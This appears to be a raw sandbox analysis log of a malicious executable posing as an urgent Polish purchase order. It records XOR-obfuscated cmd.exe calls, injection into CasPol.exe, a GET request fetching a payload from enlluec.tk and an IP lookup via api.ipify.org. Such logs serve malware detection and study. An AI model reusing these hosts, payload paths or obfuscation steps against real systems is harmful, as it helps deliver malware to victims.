            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000003.13041218149.0000000002932000.00000004.00000020.00020000.00000000.sdmp, default.css.1.drString found in binary or memory: http://mozilla.org/MPL/2.0/.
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeString found in binary or memory: http://nsis.sf.net/NSIS_Error
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
            Source: CasPol.exe, 00000089.00000002.18044285630.0000000034141000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: CasPol.exe, 00000089.00000002.18044285630.00000000341E4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://sentientshift.com
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000003.13041218149.0000000002932000.00000004.00000020.00020000.00000000.sdmp, default.css.1.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
            Source: CasPol.exe, 00000089.00000002.18044285630.0000000034141000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org
            Source: CasPol.exe, 00000089.00000002.18044285630.0000000034141000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org/
            Source: CasPol.exe, 00000089.00000002.18026950300.00000000037C8000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18026950300.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://enlluec.tk/
            Source: CasPol.exe, 00000089.00000002.18026950300.00000000037C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://enlluec.tk/dkVAJHULLLAJIKvMzyyDm233.pcx
            Source: unknownDNS traffic detected: queries for: enlluec.tk
            Source: global trafficHTTP traffic detected: GET /dkVAJHULLLAJIKvMzyyDm233.pcx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: enlluec.tkCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
            Source: unknownHTTPS traffic detected: 103.83.194.19:443 -> 192.168.11.20:49854 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 64.185.227.155:443 -> 192.168.11.20:49855 version: TLS 1.2
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_00405050 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageA,CreatePopupMenu,LdrInitializeThunk,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,LdrInitializeThunk,SetClipboardData,CloseClipboard,1_2_00405050
            Source: Conhost.exeProcess created: 100
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,LdrInitializeThunk,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,LdrInitializeThunk,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,1_2_004030D9
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: C:\Windows\resources\0409Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_004063441_2_00406344
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_0040488F1_2_0040488F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 137_2_00B113D0137_2_00B113D0
            Source: Microsoft.Practices.Composite.UnityExtensions.dll.1.drStatic PE information: No import functions for PE file found
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000003.13038087262.0000000002936000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Practices.Composite.UnityExtensions.dll\ vs Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeSection loaded: edgegdi.dllJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeSection loaded: havegangenes.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: edgegdi.dllJump to behavior
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeStatic PE information: invalid certificate
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeVirustotal: Detection: 32%
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile read: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeJump to behavior
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x19^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x78^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x79^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x08^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2A^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3F^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0D^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x27^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0A^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x63^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
